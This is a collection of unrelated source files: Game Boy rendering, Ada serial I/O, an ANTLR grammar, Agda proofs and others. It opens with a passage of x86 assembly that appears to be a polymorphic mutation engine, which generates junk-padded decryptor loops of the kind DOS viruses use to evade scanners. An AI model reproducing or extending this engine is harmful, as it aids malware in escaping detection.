cmp bx,R_SI
jne @@2
mov al,00000100b
@@2:
cmp bx,R_DI
jne @@3
mov al,00000101b
@@3:
mov bx,[DEME_RegKey]
shl bl,3
or al,bl
stosb
pop bx ax
ret
endp DEME_GenXorCmd
proc DEME_GenIncIndex near
push ax bx
mov bx,[DEME_RegIndex]
call RND
and ax,3
or al,al
jne @@1
mov al,01000000b
or al,bl
stosb
stosb
jmp @@Exit
@@1:
dec al
jne @@2
mov al,10000001b
stosb
mov al,11000000b
or al,bl
stosb
mov ax,2
stosw
jmp @@Exit
@@2:
dec al
jne @@3
mov al,10000001b
stosb
mov al,11101000b
or al,bl
stosb
mov ax,-2
stosw
jmp @@Exit
@@3:
call DEME_GetUnusedReg
mov bx,2
call DEME_GenLoadReg16
mov bx,[DEME_RegIndex]
mov bh,al
shl bh,3
mov al,00000001b
stosb
mov al,11000000b
or al,bl
or al,bh
stosb
@@Exit:
pop bx ax
ret
endp DEME_GenIncIndex
proc DEME_GenAddKey near
push ax bx
mov bx,[DEME_RegKey]
call RND
mov [DEME_KeyAdd],ax
push ax
call RND
xor ah,ah
test al,00000100b
je @@1
neg [DEME_KeyAdd]
mov ah,00101000b
@@1:
mov al,10000001b
stosb
mov al,11000000b
xor al,ah
or al,bl
stosb
pop ax
stosw
@@Exit:
pop bx ax
ret
endp DEME_GenAddKey
proc DEME_GenDecCounter near
push ax bx
mov bx,[DEME_RegCounter]
call RND
and ax,3
or al,al
jne @@1
mov al,01001000b
or al,bl
stosb
jmp @@Exit
@@1:
dec al
jne @@2
mov al,10000001b
stosb
mov al,11000000b
or al,bl
stosb
mov ax,-1
stosw
jmp @@Exit
@@2:
dec al
jne @@3
mov al,10000001b
stosb
mov al,11101000b
or al,bl
stosb
mov ax,1
stosw
jmp @@Exit
@@3:
call DEME_GetUnusedReg
mov bx,1
call DEME_GenLoadReg16
mov bx,[DEME_RegCounter]
mov bh,al
shl bh,3
mov al,00101001b
stosb
mov al,11000000b
or al,bl
or al,bh
stosb
@@Exit:
pop bx ax
ret
endp DEME_GenDecCounter
proc DEME_GenCloseCycle near
push ax bx cx dx
call RND
and ax,3
shl ax,1
mov bx,ax
call [DEME_Clos1Tbl+bx]
call RND
test al,1
je @@1
mov al,10011100b
stosb
call DEME_GenRandomSeq
mov al,10011101b
stosb
@@1:
call [DEME_Clos2Tbl+bx]
call DEME_GenRandomSeq
call DEME_ClosJmp
call DEME_GenRandomSeq
call DEME_ClosJmpShort
call DEME_GenRandomSeq
pop dx cx bx ax
ret
endp DEME_GenCloseCycle
DEME_Clos1Tbl dw offset DEME_Clos11
dw offset DEME_Clos12
dw offset DEME_Clos13
dw offset DEME_Clos14
DEME_Clos2Tbl dw offset DEME_Clos21
dw offset DEME_Clos22
dw offset DEME_Clos21
dw offset DEME_Clos21
proc DEME_Clos11 near
push ax bx
mov al,10000001b
stosb
mov ax,[DEME_RegCounter]
or al,11111000b
stosb
xor ax,ax
stosw
pop bx ax
ret
endp DEME_Clos11
proc DEME_Clos12 near
push ax bx
mov al,10000001b
stosb
mov ax,[DEME_RegCounter]
or al,11111000b
stosb
xor ax,ax
inc ax
stosw
pop bx ax
ret
endp DEME_Clos12
proc DEME_Clos13 near
push ax bx
mov al,00001001b
stosb
mov ax,[DEME_RegCounter]
mov ah,11000000b
or ah,al
shl al,3
or al,ah
stosb
pop bx ax
ret
endp DEME_Clos13
proc DEME_Clos14 near
push ax bx
mov al,11110111b
stosb
mov ax,[DEME_RegCounter]
or al,11000000b
stosb
xor ax,ax
dec ax
stosw
pop bx ax
ret
endp DEME_Clos14
proc DEME_Clos21 near
push ax
mov al,01110100b
stosb
mov [DEME_JmpShort],di
stosb
pop ax
ret
endp DEME_Clos21
proc DEME_Clos22 near
push ax
mov al,01110010b
stosb
mov [DEME_JmpShort],di
stosb
pop ax
ret
endp DEME_Clos22
proc DEME_ClosJmp near
push ax
mov al,11101001b
stosb
mov ax,[DEME_LoopAddr]
sub ax,di
dec ax
dec ax
stosw
pop ax
ret
endp DEME_ClosJmp
proc DEME_ClosJmpShort near
push ax bx
mov ax,di
mov bx,[DEME_JmpShort]
sub ax,bx
dec ax
mov [es:bx],al
pop bx ax
ret
endp DEME_ClosJmpShort
proc DEME_GenEpilog near
push ax bx dx
call RND
and ax,3fh
inc ax
@@1:
call DEME_GenTrash
dec ax
jnz @@1
mov bx,[DEME_AddrBeg]
mov dx,di
sub dx,[DEME_BuffOffs]
add dx,[DEME_Origin]
mov [es:bx],dx
pop dx bx ax
ret
endp DEME_GenEpilog
proc DEME_MixRegs near
push ax
call RND
test al,1
je @@1
xchg bx,cx
@@1:
test al,2
je @@2
xchg cx,dx
@@2:
test al,4
je @@3
xchg bx,dx
@@3:
pop ax
ret
endp DEME_MixRegs
proc Randomize near
push ax
in ax,40h
mov [seed1],ax
pop ax
ret
endp Randomize
proc RND near
push dx
mov ax,[seed]
xor ax,[seed1]
mul ax
mov al,dl
mov [seed],ax
pop dx
ret
endp RND
;ƒ¥¥à æ¨ï ª®¬ ¤
proc DEME_GenRandomSeq near
;ƒ¥¥à¨â ªãçã ¬ãá®à
push ax
call RND
and ax,0fh
inc ax
@@1:
call DEME_GenTrash
dec ax
jnz @@1
pop ax
ret
endp DEME_GenRandomSeq
proc DEME_GenTrash near
;ƒ¥¥à¨â '¬ãá®àãî' ª®¬ ¤ã
push ax bx
call RND
and ax,3
shl ax,1
mov bx,ax
call [DEME_TrashTbl+bx]
pop bx ax
ret
endp DEME_GenTrash
DEME_TrashTbl dw offset DEME_GenCmd1
dw offset DEME_GenCmd2
dw offset DEME_GenCmd3
dw offset DEME_GenCmd4
proc DEME_GenCmd1 near
;ƒ¥¥à¨â 1-¡ ©â®¢ãî «¥¢¥©èãî ª®¬ ¤ã ¨§¢à é îéãî AX
ret
push ax bx
test [DEME_MaskUsed],M_AX
jne @@Exit
call RND
and ax,7
mov bx,ax
mov al,[DEME_Cmds1+bx]
stosb
@@Exit:
pop bx ax
ret
endp DEME_GenCmd1
DEME_Cmds1 db 00110111b ;aaa
db 00111111b ;aas
db 10011000b ;cbw
db 00100111b ;daa
db 00101111b ;das
db 01001000b ;dec ax
db 01000000b ;inc ax
db 10011111b ;lahf
proc DEME_GenCmd2 near
;ƒ¥¥à¨â 1-®¯¥à ¤ãî ª®¬ ¤ã
push ax bx
call RND
and ax,0fh
mov bx,ax
shl bx,1
mov al,[DEME_Cmds2+bx]
stosb
mov bl,[DEME_Cmds2+bx+1]
call DEME_GetUnusedReg
or al,bl
stosb
pop bx ax
ret
endp DEME_GenCmd2
DEME_Cmds2 db 0d1h,11000000b ;rol
db 0d1h,11001000b ;ror
db 0d1h,11010000b ;rcl
db 0d1h,11011000b ;rcr
db 0d1h,11100000b ;shl
db 0d1h,11101000b ;shr
db 0ffh,11000000b ;inc
db 0ffh,11001000b ;dec
db 0f7h,11010000b ;not
db 0f7h,11011000b ;neg
db 0d3h,11000000b ;rol cl
db 0d3h,11001000b ;ror cl
db 0d3h,11010000b ;rcl cl
db 0d3h,11011000b ;rcr cl
db 0d3h,11100000b ;shl cl
db 0d3h,11101000b ;shr cl
proc DEME_GenCmd3 near
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã á ¥¯®á।áâ¢¥ë¬ § 票¥¬
push ax bx
mov al,[DEME_MaskUsed]
push ax
or [DEME_MaskUsed],M_AX ;„«ï AX ª®¤ë ª®¬ ¤ ¤à㣨¥
call RND
xor ah,ah
mov bl,9
div bl
mov bl,ah
xor bh,bh
shl bx,1
mov al,[DEME_Cmds3+bx]
stosb
mov bl,[DEME_Cmds3+bx+1]
call DEME_GetUnusedReg
or al,bl
stosb
call RND
stosw
pop ax
mov [DEME_MaskUsed],al
pop bx ax
ret
endp DEME_GenCmd3
DEME_Cmds3 db 081h,11000000b ;add
db 081h,11010000b ;adc
db 081h,11101000b ;sub
db 081h,11110000b ;xor
db 0f7h,11000000b ;test
db 081h,11011000b ;sbb
db 081h,11001000b ;or
db 081h,11111000b ;cmp
db 081h,11100000b ;and
; db 0c7h,11000000b ;mov
proc DEME_GenCmd4 near
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã
push ax bx cx dx
call RND
xor ah,ah
mov bl,10
div bl
mov bl,ah
xor bh,bh
mov al,[DEME_Cmds4+bx]
stosb
call DEME_GetUnusedReg
shl al,3
mov dl,al
call RND
and al,00000111b
or al,11000000b
or al,dl
stosb
pop dx cx bx ax
ret
endp DEME_GenCmd4
DEME_Cmds4 db 003h ;add
db 013h ;adc
db 02bh ;sub
db 033h ;xor
db 085h ;test
db 01bh ;sbb
db 00bh ;or
db 03bh ;cmp
db 023h ;and
db 08bh ;mov
proc DEME_GetUnusedReg near
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà (¤«ï ¬ãá®à )
push bx
mov bl,[DEME_MaskUsed]
mov al,M_ALL
call DEME_GetAnyReg
mov [DEME_MaskUsed],bl
pop bx
ret
endp DEME_GetUnusedReg
proc DEME_GetAnyReg near
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà ¨§ ®¯à¥¤¥«¥®© £à㯯ë
push bx cx
mov bl,al
not bl
or bl,[DEME_MaskUsed]
call RND
and ax,7
mov cl,al
mov ah,1
rol ah,cl
@@11:
test ah,bl
je @@12
inc al
and al,7
rol ah,1
jmp @@11
@@12:
or [DEME_MaskUsed],ah
and ax,7
pop cx bx
ret
endp DEME_GetAnyReg
proc DEME_GenLoadReg16 near
;ƒ¥¥à¨â § £à㧪ã ॣ¨áâà
;ax - ª ª®£®
;bx - 祬
push ax bx
and al,00000111b
or al,10111000b
stosb
mov ax,bx
stosw
pop bx ax
ret
endp DEME_GenLoadReg16
Seed dw 0
Seed1 dw 0
DEME_MaskUsed db 0
DEME_RegIndex dw 0
DEME_RegCounter dw 0
DEME_RegKey dw 0
DEME_Origin dw 0
DEME_BuffOffs dw 0
DEME_LoopAddr dw 0
DEME_JmpShort dw 0
DEME_CodeLen dw 0
DEME_Key dw 0
DEME_KeyAdd dw 0
DEME_AddrBeg dw 0
POPSTATE
|
exercises/ptr.asm | amirshnll/assembly-exercises | 4 | 4016 | <filename>exercises/ptr.asm
; multi-segment executable file template.
data segment
; add your data here!
x db 10
y db 100
z dw 12efh
k dd 12005e32h
; q dq 0
pkey db "press any key...$"
ends
stack segment
dw 128 dup(0)
ends
code segment
start:
; set segment registers:
mov ax, data
mov ds, ax
mov es, ax
; add your code here
mov al,byte ptr z
mov bl,byte ptr z+1
mov cx, word ptr k
mov dx, word ptr k+1 ;dx=005e
mov word ptr k+2,5a00h
lea dx, pkey
mov ah, 9
int 21h ; output string at ds:dx
; wait for any key....
mov ah, 1
int 21h
mov ax, 4c00h ; exit to operating system.
int 21h
ends
end start ; set entry point and stop the assembler.
|
examples/shared/serial_ports/src/serial_io-streaming.adb | rocher/Ada_Drivers_Library | 192 | 10651 | <filename>examples/shared/serial_ports/src/serial_io-streaming.adb
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2016, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with STM32.Device; use STM32.Device;
with HAL; use HAL;
package body Serial_IO.Streaming is
----------------
-- Initialize --
----------------
procedure Initialize (This : out Serial_Port) is
begin
Serial_IO.Initialize_Peripheral (This.Device);
This.Initialized := True;
end Initialize;
-----------------
-- Initialized --
-----------------
function Initialized (This : Serial_Port) return Boolean is
(This.Initialized);
---------------
-- Configure --
---------------
procedure Configure
(This : in out Serial_Port;
Baud_Rate : Baud_Rates;
Parity : Parities := No_Parity;
Data_Bits : Word_Lengths := Word_Length_8;
End_Bits : Stop_Bits := Stopbits_1;
Control : Flow_Control := No_Flow_Control)
is
begin
Serial_IO.Configure (This.Device, Baud_Rate, Parity, Data_Bits, End_Bits, Control);
end Configure;
----------------------
-- Await_Send_Ready --
----------------------
procedure Await_Send_Ready (This : USART) is
begin
loop
exit when Tx_Ready (This);
end loop;
end Await_Send_Ready;
----------------------
-- Set_Read_Timeout --
----------------------
procedure Set_Read_Timeout
(This : in out Serial_Port;
Wait : Time_Span := Time_Span_Last)
is
begin
This.Timeout := Wait;
end Set_Read_Timeout;
--------------------------
-- Await_Data_Available --
--------------------------
procedure Await_Data_Available
(This : USART;
Timeout : Time_Span := Time_Span_Last;
Timed_Out : out Boolean)
is
Deadline : constant Time := Clock + Timeout;
begin
Timed_Out := True;
while Clock < Deadline loop
if Rx_Ready (This) then
Timed_Out := False;
exit;
end if;
end loop;
end Await_Data_Available;
----------------
-- Last_Index --
----------------
function Last_Index
(First : Stream_Element_Offset;
Count : Long_Integer)
return Stream_Element_Offset
is
begin
if First = Stream_Element_Offset'First and then Count = 0 then
-- we need to return First - 1, but cannot
raise Constraint_Error; -- per RM
else
return First + Stream_Element_Offset (Count) - 1;
end if;
end Last_Index;
----------
-- Read --
----------
overriding
procedure Read
(This : in out Serial_Port;
Buffer : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset)
is
Raw : UInt9;
Timed_Out : Boolean;
Count : Long_Integer := 0;
begin
Receiving : for K in Buffer'Range loop
Await_Data_Available (This.Device.Transceiver.all, This.Timeout, Timed_Out);
exit Receiving when Timed_Out;
Receive (This.Device.Transceiver.all, Raw);
Buffer (K) := Stream_Element (Raw);
Count := Count + 1;
end loop Receiving;
Last := Last_Index (Buffer'First, Count);
end Read;
-----------
-- Write --
-----------
overriding
procedure Write
(This : in out Serial_Port;
Buffer : Ada.Streams.Stream_Element_Array)
is
begin
for Next of Buffer loop
Await_Send_Ready (This.Device.Transceiver.all);
Transmit (This.Device.Transceiver.all, Stream_Element'Pos (Next));
end loop;
end Write;
end Serial_IO.Streaming;
|
libsrc/enterprise/exos_read_block.asm | meesokim/z88dk | 0 | 18627 | ;
; Enterprise 64/128 specific routines
; by <NAME>, 2011
;
; exos_read_block(unsigned char channel, unsigned int byte_count, unsigned char *address);
;
;
; $Id: exos_read_block.asm,v 1.2 2015/01/19 01:32:42 pauloscustodio Exp $
;
PUBLIC exos_read_block
exos_read_block:
pop af
pop de
pop bc
pop hl
push hl
push bc
push de
push af
ld a,l
rst 30h
defb 6
ld h,0
ld l,a
ret
|
Code/render.asm | msklywenn/GB-GameOfLife | 9 | 240269 | INCLUDE "hardware.inc"
INCLUDE "utils.inc"
RENDER_IN_HBL EQU 0
EXPORT Video, Rendered
SECTION "Render Memory", HRAM
LinesLeft: ds 1 ; number of lines left to render
TilesLeft: ds 1 ; number of tiles left to render in current line
Video: ds 2 ; progressing pointer in tilemap (VRAM)
Rendered: ds 2 ; progressing pointer in old buffer
SECTION "V-Blank Interrupt Handler", ROM0[$40]
VBlankInterruptHandler:
; save registers
push af
push bc
call ReadJoypad
jr LCDStatInterruptHandler.start
SECTION "LCD Stat Interrupt Handler", ROM0[$48]
LCDStatInterruptHandler:
; save registers
push af
push bc
.start
; check there are tiles to render
ldh a, [LinesLeft]
or a
jr z, .exit
; move lines left to B
ld b, a
push de
push hl
.render
; load buffer pointer into DE
ld hl, Video
ld a, [hl+]
ld d, [hl]
ld e, a
; load video pointer into HL
ld hl, Rendered
ld a, [hl+]
ld h, [hl]
ld l, a
; load counters
ldh a, [TilesLeft]
ld c, a
.loop
; check we can still render
ldh a, [rSTAT]
and a, STATF_BUSY
jr nz, .finish
; copy one byte
ld a, [hl+]
ld [de], a
inc e ; it will never overflow since it only increments
; up to 20 bytes starting on 32 byte boundaries
; loop while there are tiles to render
dec c
jr nz, .loop
; go to next line
ld a, e
add a, 32 - 20
ld e, a
jr nc, .nocarry
inc d
.nocarry
; loop while there are lines to render
dec b
jr z, .finish
; reset tile counter
ld c, 20
jr .loop
.finish
; save counters
ld a, c
ldh [TilesLeft], a
ld a, b
ldh [LinesLeft], a
; save incremented video pointer and buffer pointer
ld a, e
ldh [Video], a
ld a, d
ldh [Video + 1], a
ld a, l
ldh [Rendered], a
ld a, h
ldh [Rendered + 1], a
; restore registers saved in interrupt handler
pop hl
pop de
.exit
pop bc
pop af
; return from v-blank or lcd interrupt
reti
EXPORT InitRender
SECTION "Init render", ROM0
InitRender:
ld a, $9C
ldh [Video + 1], a
xor a
ldh [Video], a
ret
EXPORT StartRender
SECTION "StartRender", ROM0
StartRender:
; set rendered pointer to old buffer
ldh a, [Progress]
ld l, a
ld [Rendered], a
ldh a, [Old]
ld h, a
ld [Rendered + 1], a
; start rendering
ld a, 20
ldh [TilesLeft], a
ld a, 18
ldh [LinesLeft], a
; enable v-blank and lcd stat interrupt for h-blank
; rendering routine is too slow for lcdc right now so disabled
IF RENDER_IN_HBL != 0
ld a, IEF_VBLANK | IEF_LCDC
ELSE
ld a, IEF_VBLANK
ENDC
ld [rIE], a
ret
EXPORT WaitRender
SECTION "WaitRender", ROM0
WaitRender:
ldh a, [LinesLeft]
or a
jr z, .exit
halt
jr WaitRender
.exit
IF RENDER_IN_HBL != 0
; enable only v-blank interrupt and wait for vbl
ld a, IEF_VBLANK
ld [rIE], a
HaltAndClearInterrupts
ENDC
; swap video pointer
ldh a, [Video + 1]
dec a
dec a
xor a, %100
ldh [Video + 1], a
xor a
ldh [Video], a
; swap displayed BG
ldh a, [rLCDC]
xor a, LCDCF_BG9C00
or a, LCDCF_ON | LCDCF_BGON
ldh [rLCDC], a
ret |
Data/Nat/AbsoluteDifference.agda | oisdk/agda-playground | 6 | 2406 | <gh_stars>1-10
{-# OPTIONS --safe #-}
module Data.Nat.AbsoluteDifference where
open import Data.Nat.Base
open import Path
open import Prelude
open import Algebra
∣_-_∣ : ℕ → ℕ → ℕ
∣ 0 - m ∣ = m
∣ n@(suc _) - 0 ∣ = n
∣ suc n - suc m ∣ = ∣ n - m ∣
_ : ∣ 5 - 3 ∣ ≡ 2
_ = refl
_ : ∣ 3 - 5 ∣ ≡ 2
_ = refl
∣-∣‿comm : Commutative ∣_-_∣
∣-∣‿comm zero zero = refl
∣-∣‿comm zero (suc y) = refl
∣-∣‿comm (suc x) zero = refl
∣-∣‿comm (suc x) (suc y) = ∣-∣‿comm x y
|
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/s-init.ads | JCGobbi/Nucleo-STM32G474RE | 0 | 24353 | <reponame>JCGobbi/Nucleo-STM32G474RE<gh_stars>0
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . I N I T --
-- --
-- S p e c --
-- --
-- Copyright (C) 2003-2021, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by AdaCore. --
-- --
------------------------------------------------------------------------------
-- This unit contains initialization circuits that are system dependent
-- This package is for use with configurable runtimes, and replaces init.c
pragma Restrictions (No_Elaboration_Code);
-- The procedure Install_Handler is called by the binder generated file before
-- any elaboration code, so we use the No_Elaboration_Code restriction to be
-- enfore full static preelaboration.
package System.Init is
pragma Preelaborate;
procedure Install_Handler;
pragma Export (C, Install_Handler, "__gnat_install_handler");
-- Install signal handlers. This procedure is called by Runtime_Initialize,
-- but it may also be called by the tasking runtime when a task is created.
procedure Runtime_Initialize (Install_Handler : Integer);
pragma Export (C, Runtime_Initialize, "__gnat_runtime_initialize");
-- This procedure is called by adainit before the elaboration of other
-- units. It usually installs handler for the synchronous signals. The C
-- profile here is what is expected by the binder-generated main.
procedure Runtime_Finalize;
pragma Export (C, Runtime_Finalize, "__gnat_runtime_finalize");
-- This procedure is called by adafinal.
private
-----------------------------
-- Binder Generated Values --
-----------------------------
Gl_Leap_Seconds_Support : Integer := 0;
pragma Export (C, Gl_Leap_Seconds_Support, "__gl_leap_seconds_support");
Gl_Time_Slice_Val : Integer := -1;
pragma Export (C, Gl_Time_Slice_Val, "__gl_time_slice_val");
Gl_Wc_Encoding : Character := 'n';
pragma Export (C, Gl_Wc_Encoding, "__gl_wc_encoding");
Gl_Locking_Policy : Character := ' ';
pragma Export (C, Gl_Locking_Policy, "__gl_locking_policy");
Gl_Queuing_Policy : Character := ' ';
pragma Export (C, Gl_Queuing_Policy, "__gl_queuing_policy");
Gl_Task_Dispatching_Policy : Character := ' ';
pragma Export (C, Gl_Task_Dispatching_Policy,
"__gl_task_dispatching_policy");
Gl_Priority_Specific_Dispatching : Address := Null_Address;
pragma Export (C, Gl_Priority_Specific_Dispatching,
"__gl_priority_specific_dispatching");
Gl_Num_Specific_Dispatching : Integer := 0;
pragma Export (C, Gl_Num_Specific_Dispatching,
"__gl_num_specific_dispatching");
Gl_Restrictions : Address := Null_Address;
pragma Export (C, Gl_Restrictions, "__gl_restrictions");
Gl_Interrupt_States : Address := Null_Address;
pragma Export (C, Gl_Interrupt_States, "__gl_interrupt_states");
Gl_Num_Interrupt_States : Integer := 0;
pragma Export (C, Gl_Num_Interrupt_States, "__gl_num_interrupt_states");
Gl_Unreserve_All_Interrupts : Integer := 0;
pragma Export (C, Gl_Unreserve_All_Interrupts,
"__gl_unreserve_all_interrupts");
Gl_Exception_Tracebacks : Integer := 0;
pragma Export (C, Gl_Exception_Tracebacks, "__gl_exception_tracebacks");
Gl_Exception_Tracebacks_Symbolic : Integer := 0;
pragma Export (C, Gl_Exception_Tracebacks_Symbolic,
"__gl_exception_tracebacks_symbolic");
Gl_Detect_Blocking : Integer := 0;
pragma Export (C, Gl_Detect_Blocking, "__gl_detect_blocking");
Gl_Default_Stack_Size : Integer := 0;
pragma Export (C, Gl_Default_Stack_Size, "__gl_default_stack_size");
Gl_Bind_Env_Addr : Address := Null_Address;
pragma Export (C, Gl_Bind_Env_Addr, "__gl_bind_env_addr");
Gl_XDR_Stream : Integer := 0;
pragma Export (C, Gl_XDR_Stream, "__gl_xdr_stream");
Gl_Time_T_is_32_Bits : Integer := 0;
pragma Export (C, Gl_Time_T_is_32_Bits, "__gl_time_t_is_32_bits");
-- The following two variables are deliberately commented out. They are
-- referenced by the binder generated file, but they cannot be shared among
-- different versions of System.Init. The reason is that the ravenscar
-- version of System.Tasking (s-taskin-raven.adb) redefines these variables
-- because the ravenscar/sfp runtime doesn't use System.Init, while the
-- ravenscar/full runtime does.
-- Gl_Main_Priority : Integer := -1;
-- pragma Export (C, Gl_Main_Priority, "__gl_main_priority");
-- Gl_Main_CPU : Integer := -1;
-- pragma Export (C, Gl_Main_CPU, "__gl_main_cpu");
end System.Init;
|
core/src/main/antlr/de/rfnbrgr/camscript/parser/Camscript.g4 | tom-mi/camscript | 0 | 3589 | <reponame>tom-mi/camscript<gh_stars>0
grammar Camscript;
tokens { INDENT, DEDENT }
@lexer::header {
import com.yuvalshavit.antlr4.DenterHelper;
}
@lexer::members {
private final DenterHelper denter = new DenterHelper(NL, CamscriptParser.INDENT, CamscriptParser.DEDENT)
{
@Override
public Token pullToken() {
return CamscriptLexer.super.nextToken();
}
};
@Override
public Token nextToken() {
return denter.nextToken();
}
}
script : block;
block : statement+;
statement : singleLineStatement | blockStatement;
singleLineStatement : ( capture | say | wait_ | setConfig ) NL;
blockStatement : repeat;
capture : 'capture';
say : 'say' WS+ DOUBLE_QUOTED_STRING;
wait_: 'wait' WS+ DURATION;
setConfig: variableName WS+ '=' WS+ variableValue;
variableName: IDENTIFIER;
variableValue: SINGLE_QUOTED_STRING | DOUBLE_QUOTED_STRING | INT | FLOAT;
repeat: 'repeat' WS+ INT WS+ 'times' INDENT block DEDENT;
NL: ('\r'? '\n' ' '*);
DOUBLE_QUOTED_STRING: '"' (~["\r\n] | '\\"')* '"'
{
String s = getText();
s = s.substring(1, s.length() - 1);
s = s.replace("\\\"", "\"");
setText(s);
};
SINGLE_QUOTED_STRING: '\'' (~['\r\n] | '\\\'' )* '\''
{
String s = getText();
s = s.substring(1, s.length() - 1);
s = s.replace("\\'", "'");
setText(s);
};
WS : (' ' | '\t') ;
DURATION: INT ('s' | 'ms' | 'min');
INT : [0-9]+;
FLOAT : [0-9]+ '.' [0-9]*;
IDENTIFIER: [A-Za-z_/] ([A-Za-z_/\-])*;
ERR_CHAR : .;
|
src/new-file-here/Scripts/default.applescript | mirka/launchbar-actions | 2 | 2779 | on open (thePaths)
set myPath to item 1 of thePaths
display dialog "Filename:" default answer ".txt"
set filename to text returned of result
set fullpath to (POSIX path of myPath) & filename
do shell script "touch -a '" & fullpath & "'"
tell application "LaunchBar" to activate
return [{title:filename, |path|:fullpath}]
end open
|
grammar.agda | rfindler/ial | 29 | 9927 | <filename>grammar.agda
open import lib
open import sum
module grammar (form : Set)(_eq_ : form → form → 𝔹)(drop-form : (x y : form) → x ≡ y → x eq y ≡ tt)(rise-form : (x y : form) → x eq y ≡ tt → x ≡ y) where
infix 7 _⇒_
data production : Set where
_⇒_ : form → 𝕃 (form ⊎ char) → production
record grammar {numprods : ℕ} : Set where
constructor _,_
field
start : form
prods : 𝕍 production numprods
open grammar
splice : ℕ → 𝕃 (form ⊎ char) → form → 𝕃 (form ⊎ char) → 𝕃 (form ⊎ char)
splice x [] _ _ = []
splice 0 ((inj₁ s) :: ss) s' ss' with s eq s'
... | tt = ss' ++ ss
... | ff = (inj₁ s) :: ss
splice 0 (x :: ss) s' ss' = x :: ss
splice (suc n) (s :: ss) s' ss' = s :: splice n ss s' ss'
𝕃inj₂ : ∀{ℓ ℓ'}{B : Set ℓ}{A : Set ℓ'} → 𝕃 A → 𝕃 (B ⊎ A)
𝕃inj₂ (x :: xs) = (inj₂ x) :: 𝕃inj₂ xs
𝕃inj₂ [] = []
𝕃inj₁ : ∀{ℓ ℓ'}{B : Set ℓ}{A : Set ℓ'} → 𝕃 A → 𝕃 (A ⊎ B)
𝕃inj₁ (x :: xs) = (inj₁ x) :: 𝕃inj₁ xs
𝕃inj₁ [] = []
data derivation{numprods : ℕ} {g : grammar{numprods}} : 𝕃 (form ⊎ char) → 𝕃 char → Set where
end : {ss : 𝕃 char} → derivation (𝕃inj₂ ss) ss
step : ∀ {ss1 ss1' : 𝕃 (form ⊎ char)}{ss2 : 𝕃 char}{s : form}{ss : 𝕃 (form ⊎ char)} →
(m n : ℕ) → (p : n < numprods ≡ tt) →
nth𝕍 n p (prods g) ≡ (s ⇒ ss) →
m < length ss1 ≡ tt →
splice m ss1 s ss ≡ ss1' →
derivation {g = g} ss1' ss2 →
derivation ss1 ss2
splice-concat : ∀{l1 l2 target final : 𝕃 (form ⊎ char)}{n : ℕ}{slice : form} → splice n l1 slice target ≡ final → splice (n + (length l2)) (l2 ++ l1) slice target ≡ l2 ++ final
splice-concat{l2 = []}{n = n} pr rewrite +0 n = pr
splice-concat{l1}{x :: xs}{n = n} pr rewrite +suc n (length xs) | splice-concat{l1}{l2 = xs} pr = refl
_=form⊎char_ : (x y : form ⊎ char) → 𝔹
_=form⊎char_ = =⊎ _eq_ _=char_
form⊎char-drop : (x y : form ⊎ char) → x ≡ y → x =form⊎char y ≡ tt
form⊎char-drop = ≡⊎-to-= _eq_ _=char_ drop-form ≡char-to-=
form⊎char-rise : (x y : form ⊎ char) → x =form⊎char y ≡ tt → x ≡ y
form⊎char-rise = =⊎-to-≡ _eq_ _=char_ rise-form =char-to-≡
splice-concat2 : ∀{l1 l2 target final : 𝕃 (form ⊎ char)}{n : ℕ}{slice : form} → splice n l1 slice target ≡ final → n < length l1 ≡ tt → splice n (l1 ++ l2) slice target ≡ final ++ l2
splice-concat2{[]}{n = n} pr1 pr2 rewrite <-0 n = 𝔹-contra pr2
splice-concat2{inj₁ x :: xs}{l2}{target}{n = 0}{slice} pr1 pr2 with x eq slice
...| tt rewrite (sym pr1) | ++[] target | ++-assoc target xs l2 = refl
